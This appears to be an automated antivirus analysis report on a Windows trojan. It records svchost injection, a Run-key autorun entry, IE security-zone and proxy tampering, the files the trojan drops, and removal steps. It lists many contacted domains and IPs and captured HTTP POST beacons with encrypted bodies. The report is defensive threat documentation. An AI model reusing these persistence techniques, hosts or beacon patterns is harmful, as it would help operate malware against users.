Gen.Variant.Kazy.641950_f475ab5635

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):

%original file name%.exe:944
svchost.exe:4040
svchost.exe:4068
svchost.exe:4084
svchost.exe:324
svchost.exe:1712
svchost.exe:308
svchost.exe:172
svchost.exe:876
svchost.exe:432
svchost.exe:1092

Mutexes

The following mutexes were created/opened:

ZonesCounterMutexWininetConnectionMutex_!MSFTHISTORY!_RasPbFileZonesCacheCounterMutexZonesLockedCacheCounterMutexc:!documents and settings!adm!local settings!history!history.ie5!WininetStartupMutexWininetProxyRegistryMutexc:!documents and settings!adm!local settings!temporary internet files!content.ie5!c:!documents and settings!adm!cookies!dopacgulnipdShimCacheMutex

File activity

The process %original file name%.exe:944 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Cookies\Current_User@www.ingimex[1].txt (154 bytes)
%Documents and Settings%\%current user%\dopacgulnipd.exe (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3QA1VGNC\tamaral[1].htm (1311 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\XY9AUCCM\adf.org[1].htm (473 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3QA1VGNC\umcor[1].htm (196 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.restpro[1].txt (274 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Y5WR6P81\gfmcorp[1].htm (15 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.apio[1].txt (1436 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (5056 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\XY9AUCCM\frimeset[1].htm (3817 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.tndha[1].txt (165 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\YJ4FAVSF\rmcet[1].htm (2086 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@jinsey[1].txt (214 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@jala-mi[1].txt (216 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\XY9AUCCM\ksfd[1].htm (21 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-1844237615-1960408961-1801674531-1003\c5b88721db08c824db69d0bbc702beb8_75ed9567-aa58-4c8e-a8ea-3cad7c47ab03 (44 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@enchilada[1].txt (217 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\XY9AUCCM\hzjinhai[1].htm (14 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-1844237615-1960408961-1801674531-1003\c5d8393293ce2ba62f117b2c2d55bc3e_75ed9567-aa58-4c8e-a8ea-3cad7c47ab03 (64 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@aiglon[1].txt (211 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3QA1VGNC\sa-girl[1].htm (21 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.kp2i[1].txt (154 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\YJ4FAVSF\tndha[1].htm (263 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@kndata[1].txt (214 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Y5WR6P81\ingimex[1].htm (22 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@skmat[1].txt (205 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\YJ4FAVSF\taeha[1].htm (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\XY9AUCCM\honnyaku[1].htm (4309 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.kp2i[2].txt (312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3QA1VGNC\mado[1].htm (14 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@fitgolf[1].txt (216 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3QA1VGNC\jhitomi[1].htm (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3QA1VGNC\restpro[1].htm (18 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\YJ4FAVSF\chaparri[1].htm (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Y5WR6P81\citymade[1].htm (29 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3QA1VGNC\umcor[1].htm (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.kp2i[1].txt (0 bytes)

Registry activity

The process %original file name%.exe:944 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1A 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Uugiiaslsxaag]
"dopacgulnipdPygbyxvuse" = "6C 12 B7 D0 76 1C 35 DA 80 26 CB E4 8A 30 D5 7B"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Uugiiaslsxaag]
"Jyapeljobyx" = "30 D5 7B 21 3A DF 85 9E 44 E9 03 A8 4E F3 0D 26"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "78 69 A3 50 A3 5C 06 79 33 F4 DA 7F 41 1B 02 F3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"dopacgulnipd" = "%Documents and Settings%\%current user%\dopacgulnipd.exe"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:

   %Documents and Settings%\%current user%\Cookies\Current_User@www.ingimex[1].txt (154 bytes)
   %Documents and Settings%\%current user%\dopacgulnipd.exe (601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3QA1VGNC\tamaral[1].htm (1311 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\XY9AUCCM\adf.org[1].htm (473 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3QA1VGNC\umcor[1].htm (196 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@www.restpro[1].txt (274 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Y5WR6P81\gfmcorp[1].htm (15 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@www.apio[1].txt (1436 bytes)
   %Documents and Settings%\%current user%\Cookies\index.dat (5056 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\XY9AUCCM\frimeset[1].htm (3817 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@www.tndha[1].txt (165 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\YJ4FAVSF\rmcet[1].htm (2086 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@jinsey[1].txt (214 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@jala-mi[1].txt (216 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\XY9AUCCM\ksfd[1].htm (21 bytes)
   %Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-1844237615-1960408961-1801674531-1003\c5b88721db08c824db69d0bbc702beb8_75ed9567-aa58-4c8e-a8ea-3cad7c47ab03 (44 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@enchilada[1].txt (217 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\XY9AUCCM\hzjinhai[1].htm (14 bytes)
   %Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-1844237615-1960408961-1801674531-1003\c5d8393293ce2ba62f117b2c2d55bc3e_75ed9567-aa58-4c8e-a8ea-3cad7c47ab03 (64 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@aiglon[1].txt (211 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3QA1VGNC\sa-girl[1].htm (21 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@www.kp2i[1].txt (154 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\YJ4FAVSF\tndha[1].htm (263 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@kndata[1].txt (214 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Y5WR6P81\ingimex[1].htm (22 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@skmat[1].txt (205 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\YJ4FAVSF\taeha[1].htm (16 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\XY9AUCCM\honnyaku[1].htm (4309 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@www.kp2i[2].txt (312 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3QA1VGNC\mado[1].htm (14 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@fitgolf[1].txt (216 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3QA1VGNC\jhitomi[1].htm (22 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3QA1VGNC\restpro[1].htm (18 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\YJ4FAVSF\chaparri[1].htm (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Y5WR6P81\citymade[1].htm (29 bytes)

4. Delete the following value(s) in the autorun key (How to Work with System Registry):

   [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
   "dopacgulnipd" = "%Documents and Settings%\%current user%\dopacgulnipd.exe"

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	788	1024	3.0681	3f5321163d4714e0623a2e6881876ad1
.rdata	8192	628	1024	2.31069	ab6b1f62054857b7d7c06962329182eb
.data	12288	1657	0	0	d41d8cd98f00b204e9800998ecf8427e
xcode	16384	43870	44032	4.17533	f86e92f696b83610dfd89a1dcaea15b9
.rsrc	61440	27960	28160	2.47883	14a59441fdc59f78c1c4e3c26387f824

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://www.2-force.com/
hxxp://enchilada.de/
hxxp://www.nomics.de/
hxxp://fbchh.org/
hxxp://www.adf.org.tr/
hxxp://www.abdg.com/
hxxp://tndha.org/
hxxp://www.com-sit.com/
hxxp://www.raboo.com/
hxxp://sdcea.org/
hxxp://www.umcor.am/
hxxp://mjrcpas.com/
hxxp://www.mado.org/
hxxp://www.restpro.com/
hxxp://www.sa-girl.net/
hxxp://wigor.com.pl/
hxxp://www.aiglon.ch/
hxxp://www.hostings.com/
hxxp://www.gfmcorp.com/
hxxp://www.canaxini.com/
hxxp://www.corex.de/
hxxp://www.akr.co.id/
hxxp://www.proseinc.com/
hxxp://www.jala-mi.org/
hxxp://www.saamii.com/
hxxp://www.pids.org/
hxxp://www.2-tier.com/
hxxp://www.edimart.hu/
hxxp://www.vrad.spb.ru/
hxxp://www.luas.ie/
hxxp://www.honnyaku.com/
hxxp://www.ksfd.org/
hxxp://www.taeha.com/
hxxp://www.uls-dc.org/
hxxp://www.timetec.ru/
hxxp://lvcpa.biz/
hxxp://www.cdnins.com/
hxxp://www.dujua.com.br/
hxxp://kiwicr.com/
hxxp://www.ingimex.com/
hxxp://apio.ro/
hxxp://www.mavlet.com/
hxxp://masph.com/
hxxp://xatrix.net/
hxxp://chaparri.org/
hxxp://www.oreggia.com/
hxxp://www.alan-jp.com/
hxxp://maintasc.com/
hxxp://citymade.com/
hxxp://www.footfall.com/
hxxp://mlc-edu.com/
hxxp://www.fsk.at/
hxxp://dilmar.com/
hxxp://www.nopa.or.jp/
hxxp://www.virpca.org/
hxxp://walltodo.com/
hxxp://www.tamaral.org/
hxxp://www.jinsey.com.cdn.cloudflare.net/
hxxp://shops.shopify.com/
hxxp://www.fitgolf.com/
hxxp://kndata.com/
hxxp://www.kp2i.com/
hxxp://www.willvic.net/
hxxp://skmat.com/
hxxp://www.bd-style.com/
hxxp://www.msvie.com/	91.121.23.223
hxxp://www.richter.bg/
hxxp://rmcet.com/
hxxp://arit.cz/
hxxp://recsjpn.com/
hxxp://www.yokomizo.com/
hxxp://www.emka.fr/
hxxp://www.bossinst.com/
hxxp://www.afraxis.com/
hxxp://akhh.com/
hxxp://www.hzjinhai.com/
hxxp://www.frimeset.com/
hxxp://www.densa.ch/
hxxp://www.royalmail.akadns.net/
hxxp://www.rmcet.com/
hxxp://www.fbchh.org/
hxxp://www.royalmail.com/
hxxp://www.worms.com/
hxxp://www.xatrix.net/
hxxp://www.maintasc.com/
hxxp://www.arit.cz/
hxxp://www.skmat.com/
hxxp://www.dilmar.com/
hxxp://www.walltodo.com/	68.233.239.85
hxxp://www.tndha.org/
hxxp://www.akhh.com/
hxxp://www.mjrcpas.com/
hxxp://www.jinsey.com/
hxxp://www.enchilada.de/
hxxp://www.chaparri.org/
hxxp://www.kndata.com/
hxxp://www.apio.ro/	89.38.128.55
hxxp://www.sdcea.org/	5.135.250.122
hxxp://www.wigor.com.pl/
hxxp://www.masph.com/
hxxp://www.6ml.net/
hxxp://www.lvcpa.biz/	65.107.59.68
hxxp://www.citymade.com/
hxxp://www.recsjpn.com/
hxxp://www.kiwicr.com/
hxxp://www.mlc-edu.com/
banvari.com	209.140.30.74
www.n-a-m.ru	185.4.74.63
h-et-l.com	5.196.204.254
pccj.net	219.94.162.11
www.hostito.com	63.247.91.234
clysma.com	192.184.8.30
someikan.com	202.189.180.2
yoruksut.com	37.230.108.75

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 554

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.com-sit.com

Cache-Control: no-cache

6cqx/zrDpzt3ilKf3flmLH3g6N2qs5tpDpmSJr4AQEIFQM0lbGVfyA8iWnE2bump

kb5sZZ1gdNOauyLVPxgEDkfKHmr9GW1F 5hu9TE9SWEMrEM/w2p/Up5a4SSvw2l0

/jiq6H/0pq2fYkFTDxsph6JCYTo65sdPDX9txNXe0NJveWLKU4HauA0p1lEdtOZt

2auChlrkNpHNxrQ9WrYfYOeTjJ1u9In5ke0d/LHfLcwv0XK2bAN4XLJqa3bvIuwX

4I4CliXQy5qk5jSd75Qpg23tELoSpMjksAdHgr0eFmyAyyu9lZx7wmd9SvYFxOY/

Lx9yPIe0bImQvL4jfSO6LjMPB/hpYZMneSWT3Btqb74bdE/zqhNBiP0hs7GrXoug

IrEnn53QsOf2Z/n/CiseAQWXA2 mPoSfT91n51n7/lJyHEqrqWpjBEaRPfCTzer4

hSp5mUFz8rcL8J05xX2crgyVznVn9/OJsKvv7Dw7XmWqLlB364Wjr7Ut0JpLgjO

PZfNL4a uT2tPKRqwMQnIfs=

HTTP/1.1 302 Found

Date: Thu, 23 Jul 2015 21:58:08 GMT

Server: Apache/2.2.19 (FreeBSD) mod_ssl/2.2.19 OpenSSL/0.9.8q DAV/2 PHP/5.3.6 with Suhosin-Patch

Location: hXXp://VVV.com-sit.com/cgi-bin/shop?lang=ger

Content-Length: 228

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>302 Found</title>.</head><body>.<h1>Found</h1>.<p>The document has moved <a href="hXXp://VVV.com-sit.com/cgi-bin/shop?lang=ger">here</a>.</p>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 600

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.kndata.com

Cache-Control: no-cache

Cookie: __cfduid=d51eae1f8939cc56a75aaf269ef2782c41437690346

x6VitwSUXEEF9NxxHw A5ddNf288LZtreGHcUyREGA0X4Sy7GNpN8K8lrzaaHNwM

gNS9pQGnJQjVaR9d19ynMh0kOuIdxjw/6KG8QU9LfXFYB1nOVRajMmQRytZdDbqT

40mTYKVgftJ5aG7IxtfRWuMQRMCwhoyKZCPdJ0L0ygfXzP0u7YBBA1hTrhvnHs3K

F6 9ox7EIL6FmvCY6l7v955zTYq22raYGPT86UiS2CuE32JABggwyzDtU113630f

gZpL/BKS/eTn250ipWBXo/ bKfTzJ1RomrxO3MH2OY7uuWvVkwQV6Gjwt bI9/aA

roMO6176M7/flPaFK6f25NDxBn598loGzhFGTQRKRG0i3gCyOG3S9P6kG7fD2rVz

qjph9IBQdDJ7UCB220VxyaBBTU obdglxH AbdwY9kUME4m/Xg5s8sxglOK6TKxn

sz0owjY7oc5I6ORobJiTpw8EOtmV7VZg0qFvCqQjUrDd6JENaf9YoLJ6OYdIlD5a

Be9xEm6Zc1uzOzQByfopB5llNRV/JaXBd7RjI41D2fldBTQ3wU04tvo6EbMFV/Js

aA==

HTTP/1.1 503 Service Temporarily Unavailable

Date: Thu, 23 Jul 2015 22:25:47 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Frame-Options: SAMEORIGIN

Refresh: 8;URL=/cdn-cgi/l/chk_jschl?pass=1437690351.029-QbIoadoa06

Cache-Control: no-cache

Server: cloudflare-nginx

CF-RAY: 20aacd9cec1215d1-FRA

1208..<!DOCTYPE HTML>.<html lang="en-US">.<head>. <meta charset="UTF-8" />. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />. <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />. <meta name="robots" content="noindex, nofollow" />. <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />. <title>Just a moment...</title>. <style type="text/css">. html, body {width: 100%; height: 100%; margin: 0; padding: 0;}. body {background-color: #ffffff; font-family: Helvetica, Arial, sans-serif; font-size: 100%;}. h1 {font-size: 1.5em; color: #404040; text-align: center;}. p {font-size: 1em; color: #404040; text-align: center; margin: 10px 0 0 0;}. #spinner {margin: 0 auto 30px auto; display: block;}. .attribution {margin-top: 20px;}. @-webkit-keyframes bubbles { 33%: { -webkit-transform: translateY(10px); transform: translateY(10px); } 66% { -webkit-transform: translateY(-10px); transform: translateY(-10px); } 100% { -webkit-transform: translateY(0); transform: translateY(0); } }. @keyframes bubbles { 33%: { -webkit-transform: translateY(10px); transform: translateY(10px); } 66% { -webkit-transform: translateY(-10px); transform: translateY(-10px); } 100% { -webkit-transform: translateY(0); transform: translateY(0); } }. .bubbles { background-color: #404040; width:15px; height: 15px; margin:2px; border-radius:100%; -webkit-animation:bubbles 0.6s 0.07s infinite ea

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 546

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.jala-mi.org

Cache-Control: no-cache

UiRtZ/RD/jvgOO51T54/Oke39gvsYwbYaFiix5e vZObzOghELB0/e3bo58YQfob

nb9jb1jF7AF1s4dbAn1 nszgr6cXjDOCXqKXS8Lw/y1 Q/b/Gkj3WH aJt Do710

HKdVo9W0uXy/pOODdTmMaoQZCV4TDFiH0xX/YWkN8UAuWVSgjK2LFGh0cUA1zovz

bUir5PuoWykZBGtN0N9t4RiB0ybKmC/LdXNkCSW5s37MBiPD4aqNtxB1o0pdtrW6

Xc7tbcetos44xfLFx3HEhkIZEg7h0 j6 25QVFPS05XLpMfUY1GQ7ZFPIhwwC7Nb

/beQdJHrMTMQ5l61AIkHj/vbiU/5IlPtOfA lA EYGuZDucx3PytRH/SUR3bmBvE

paRkdcD0zdaJCKuY1OPbDlqW02QQYX3AhpTPciBAdgL7SWcDwRXRJrIcxCEh36fL

HFIZrzDVzanNG2pXw/j9Jvaa0KrXxYQJuDzNCVjTgKJWfUDYdXkTys /fTLJriIM

4W92eSV9lBULk 6P

HTTP/1.1 403 Forbidden

Date: Thu, 23 Jul 2015 22:25:21 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d607604a0ea63919bcfeec9dfa7b5cbf41437690321; expires=Fri, 22-Jul-16 22:25:21 GMT; path=/; domain=.jala-mi.org; HttpOnly

Cache-Control: max-age=2

Expires: Thu, 23 Jul 2015 22:25:23 GMT

X-Frame-Options: SAMEORIGIN

Server: cloudflare-nginx

CF-RAY: 20aaccff2e3801af-FRA

143e..<!DOCTYPE html>.<!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->.<!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->.<!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->.<!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]-->.<head>.<title>Attention Required! | CloudFlare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection" />.<!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" type="text/css" media="screen,projection" /><![endif]-->.<style type="text/css">body{margin:0;padding:0}</style>.<!--[if lte IE 9]><script type="text/javascript" src="/cdn-cgi/scripts/jquery.min.js"></script><![endif]-->.<!--[if gte IE 10]><!--><script type="text/javascript" src="/cdn-cgi/scripts/zepto.min.js"></script><!--<![endif]-->.<script type="text/javascript" src="/cdn-cgi/scripts/cf.common.js"&g

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 554

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.ksfd.org

Cache-Control: no-cache

j2zhaLeBODz8E1llJnPbeQCNQyht9PAp20iFgsnbfMrdgsgp62E5BuxJIdNN03 U

YGgCF0qk9WKBYd4eM1shHDzcacjyYJssmzmgLbqEj5MhHmIH2Jj7qyPECxAuVK01

/ZgiUDkInCKKQqGoKGVZ87HYgHAiCVLKlfX2eooMSmiU2MBX9GFI azIK8N4KL8Z

iWE3qDJeC8fHch OsweD9FWAqv1D4ejF61SZei16 rKcw5SlUMawJ5gpV Afrf5m

jnn3mTbeVRotZlBz9E2WBJI9QhBBtzA5NKE1PfXoEk720QROBIw/apefpJSppbOP

HEvyvfvuHjS77q9mciv/GJga7te6tUI29jSHcVTHxKy1z0gMgHPa8JmpUMTZBI5H

qqI4G8qi4gXFHawOysFLiuDV/W6WPAqpo41R3KwNVcWGD0hB3OXmfq3E0TZCosqM

qGHh7zsiWz 9U5qWbwkynb9jfzm7xtq8rZHJV0O7SCvCeg26mS1 gXK0GZyjshoN

9Z4ecRyHzyiQsaMCziOF/Xo=

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:25:23 GMT

Server: Apache/2.0.52 (CentOS)

Last-Modified: Wed, 13 Mar 2013 09:47:08 GMT

ETag: "62cdf1-52fd-4a13ff00"

Accept-Ranges: bytes

Content-Length: 21245

Connection: close

Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://VVV.w3.org/TR/html4/loose.dtd">.<html lang="ja">.<head>..<META http-equiv="Content-Script-Type" content="text/javascript">..<meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS">..<meta http-equiv="content-style-type" content="text/css">..<meta name="author" content="...E.g.....Q.....j.A..">..<meta name="copyright" content="...E.g.....Q.....j.A..">..<meta name="Reply-to" content="...E.g.....Q.....j.A..">..<meta name="keywords" content="...Q..,...j,...E,.I........">..<meta name="description" content="...E.g.....Q.....j.A.......z.[...y.[.W.B...E.g.....Q.....j.I.........T.v.A.....`.[......">..<link rel="stylesheet" type="text/css" href="main.css">..<link rel="alternate" type="application/rss xml" title="RSS" href="hXXp://VVV.ksfd.org/rss.rdf">..<title>...E.g.....Q.....j.A..-.g.b.v-...E.g.....Q.....j.I.............c..</title>.</head>.<body>.<div id="main_body">.<div id="header">..<h1>...E.g.....Q.....j.A..</h1>.....E.g.....Q.....j.I.........@.....c...<script type="text/javascript">.<!--.document.write('<img src="hXXp://www.ksfd.org/w3a/writelog.php?ref=' document.referrer '" width="1" height="1">');.// -->.</script>.<noscript>.<img src="http://VVV.ksfd.org/w3a/writelog.php?ref" width="1" height="1" alt="sikaku">.</noscript>.</div>. <div id="left_body"&gt

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 582

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.skmat.com

Cache-Control: no-cache

Cookie: __cfduid=d8fcf7e35ba11338b1bec4ddb2debc2861437690350

